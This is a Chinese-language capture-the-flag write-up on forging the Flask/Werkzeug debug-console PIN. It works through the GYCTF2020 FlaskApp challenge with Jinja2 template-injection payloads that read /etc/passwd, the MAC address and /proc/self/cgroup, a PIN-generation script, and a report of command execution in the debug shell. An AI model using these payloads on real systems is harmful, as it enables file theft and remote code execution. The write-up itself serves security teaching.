Flask开启debug时PIN码的安全性问题
前言 如果Flask开启了debug模式,在debug页面中包含了python的交互式shell,可以执行任意的python代码 先来看一段代码 from flask import Flask app = Flask(__name__) @app.route("/index") def hello(): return Liwer if __name__ == "__main__":
前言
如果Flask开启了debug模式,在debug页面中包含了python的交互式shell,可以执行任意的python代码
先来看一段代码
from flask import Flask
app = Flask(__name__)
@app.route("/index")
def hello():
return Liwer
if __name__ == "__main__":
app.run(host="127.0.0.1", port=3000, debug=True)
显然这是一段错误的代码,第七行的Liwer没有定义,并且开启了debug模式,访问本地3000端口可以看到报错信息

看到了web应用目录,这些危害并不大,主要是如何进入python的交互式shell

这里需要输入一个PIN码
PIN码的安全性问题
关于PIN码的生成,可以使用pdb对python进行调试,一步步跟进,可以看下这位师傅的解答,有点偏向二进制了
https://zhuanlan.zhihu.com/p/32336971
总结一下PIN码生成流程就是【当前计算机用户名:XXX】、【[flask.app]】、【Flask】、【C:\Python27\lib\site-packages\flask\app.pyc】、【str(uuid.getnode())】、【get_machine_id()】组合获得,缺一不可。
- flask所登录的用户名
- modname,一般为Flask.app
- getattr(app, “\name**”, app.**class**.**name**)。一般为Flask**
- flask库下app.py的绝对路径。这个可以由报错信息看出
- 当前网络的mac地址的十进制数。
- 机器的id。
如何利用呢?通过一道题来了解
l[GYCTF2020]FlaskApp
打开后在这个页面出存在SSTI模板注入

将{{7+7}}base64加密,输出14,存在模板注入,当然可以使用模板注入的方法拿到flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
另一种解法就是利用PIN码
获取flask用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

flaskweb
获取app.py的绝对路径,
在报错信息中可以看到

/usr/local/lib/python3.7/site-packages/flask/app.py
获取MAC地址的10进制数
**/sys/class/net/eth0/address**
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

72fe70bd0459
将:去除转化为10进制
126437138695257
获取docker机器的id
这个环境式docker启动的,所以机器的id就式docekr容器的id值
对于机器id的解释,引用一下师傅的言论
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b
利用师傅的脚本生成PIN码:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'`126437138695257`',# str(uuid.getnode()), /sys/class/net/ens33/address
'`bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b`'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
这里存在一个问题,生成的PIN码显示不正确,在我尝试后将dockerid的值改为了machineid的值
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
拿到PIN值后成功进入python的交互式shell

这里输出零,可能设置了python沙盒禁用了某些函数
使用os.popen后成功命令执行

总结
对于每一台机器由不同的PIN码,但是对于同一台机器多次启动Flask服务的PIN码相同
对于PIN码的获得并不容易,上面最终还是通过模板注入才获取到三个敏感信息的内容
rerference
https://zhuanlan.zhihu.com/p/32138231
